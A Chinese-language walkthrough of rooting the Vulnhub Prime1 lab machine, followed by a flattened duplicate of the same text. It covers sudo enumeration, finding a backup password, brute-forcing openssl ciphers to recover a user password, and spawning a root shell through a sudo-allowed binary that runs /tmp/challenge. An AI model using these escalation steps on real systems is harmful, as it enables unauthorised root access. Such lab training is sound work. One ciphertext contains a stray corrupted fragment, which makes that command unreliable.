Vulnhub靶机实操笔记-Prime1-解法二
字数 989 2025-08-10 19:49:11

Vulnhub靶机Prime1提权教学文档

一、初始信息收集

  1. 系统版本检查

    uname -a
    
    • 发现系统版本较低,存在内核提权漏洞可能性
  2. 用户权限检查

    sudo -l
    
    • 发现用户saket可以无密码以root权限执行enc程序

二、利用saket用户权限

  1. 检查saket目录

    cd /home/saket
    ls -liah
    
    • 发现enc可执行文件
  2. 尝试分析enc文件

    strings enc  # 尝试查看内容
    file enc     # 尝试读取文件类型
    
    • 发现需要密码才能执行
  3. 查找备份文件

    find / -name '*backup*' 2>/dev/null | sort | less
    
    • /opt/backup/server_database目录下找到backup_pass文件
    • 读取文件获得密码:backup_password
  4. 使用密码执行enc

    sudo ./enc
    
    • 输入密码backup_password
    • 生成enc.txtkey.txt文件

三、解密过程

  1. 分析key.txt

    • 提示将"ippsec"转换为MD5哈希
  2. 生成MD5哈希

    echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}'
    
    • 得到MD5值:366a74cb3c959de17d61db30591c39d1
  3. 转换为16进制格式

    echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}' | tr -d '\n' | od -A n -t x1 | tr -d '\n' | tr -d ' '
    
    • 得到16进制值:3336366137346362336339353964653137643631646233303539316333396431
  4. 解密enc.txt内容

    • 首先收集所有可能的加密算法:
    openssl enc --help
    
    • 将加密算法保存到CipherTypes文件
  5. 批量尝试解密

    for Cipher in $(cat CipherTypes);do echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bF[91/498]yvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$Cipher -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null ;echo $Cipher;done
    
    • 发现aes-256-ecb算法解密成功
  6. 验证解密

    echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -aes-256-ecb -K '3336366137346362336339353964653137643631646233303539316333396431'
    
    • 获得明文:tribute_to_ippsec(saket用户的旧密码)

四、获取saket用户权限

  1. SSH登录
    ssh saket@localhost
    
    • 密码:tribute_to_ippsec

五、内网提权

  1. 检查sudo权限

    sudo -l
    
    • 发现可以无密码以root权限执行/home/victor/undefeated_victor
  2. 检查定时任务

    cat /etc/crontab
    
  3. 利用undefeated_victor提权

    cd /tmp
    echo '#!/bin/bash' > challenge
    echo '/bin/bash' >> challenge
    chmod +x challenge
    sudo /home/victor/undefeated_victor
    whoami
    
    • 成功获取root权限

六、关键命令总结

  1. 权限检查

    sudo -l
    
  2. 文件搜索

    find / -name '*backup*' 2>/dev/null | sort | less
    
  3. MD5生成

    echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}'
    
  4. 批量解密脚本

    for Cipher in $(cat CipherTypes);do echo '加密内容' | openssl enc -d -a -$Cipher -K '密钥' 2>/dev/null ;echo $Cipher;done
    
  5. 最终提权

    echo '/bin/bash' > /tmp/challenge
    chmod +x /tmp/challenge
    sudo /home/victor/undefeated_victor
    

七、技术要点

  1. sudo权限利用:检查哪些命令可以无密码以root执行
  2. 加密算法识别:使用openssl尝试各种加密算法解密
  3. MD5哈希转换:将字符串转换为MD5并格式化为16进制
  4. 定时任务利用:通过创建可执行文件实现提权
  5. 自动化脚本:批量尝试解密算法提高效率

通过以上步骤,可以完整地从初始访问到最终获取root权限的整个渗透测试过程。

Vulnhub靶机Prime1提权教学文档 一、初始信息收集 系统版本检查 : 发现系统版本较低,存在内核提权漏洞可能性 用户权限检查 : 发现用户 saket 可以无密码以root权限执行 enc 程序 二、利用saket用户权限 检查saket目录 : 发现 enc 可执行文件 尝试分析enc文件 : 发现需要密码才能执行 查找备份文件 : 在 /opt/backup/server_database 目录下找到 backup_pass 文件 读取文件获得密码: backup_password 使用密码执行enc : 输入密码 backup_password 生成 enc.txt 和 key.txt 文件 三、解密过程 分析key.txt : 提示将"ippsec"转换为MD5哈希 生成MD5哈希 : 得到MD5值: 366a74cb3c959de17d61db30591c39d1 转换为16进制格式 : 得到16进制值: 3336366137346362336339353964653137643631646233303539316333396431 解密enc.txt内容 : 首先收集所有可能的加密算法: 将加密算法保存到 CipherTypes 文件 批量尝试解密 : 发现 aes-256-ecb 算法解密成功 验证解密 : 获得明文: tribute_to_ippsec (saket用户的旧密码) 四、获取saket用户权限 SSH登录 : 密码: tribute_to_ippsec 五、内网提权 检查sudo权限 : 发现可以无密码以root权限执行 /home/victor/undefeated_victor 检查定时任务 : 利用undefeated_ victor提权 : 成功获取root权限 六、关键命令总结 权限检查 : 文件搜索 : MD5生成 : 批量解密脚本 : 最终提权 : 七、技术要点 sudo权限利用 :检查哪些命令可以无密码以root执行 加密算法识别 :使用openssl尝试各种加密算法解密 MD5哈希转换 :将字符串转换为MD5并格式化为16进制 定时任务利用 :通过创建可执行文件实现提权 自动化脚本 :批量尝试解密算法提高效率 通过以上步骤,可以完整地从初始访问到最终获取root权限的整个渗透测试过程。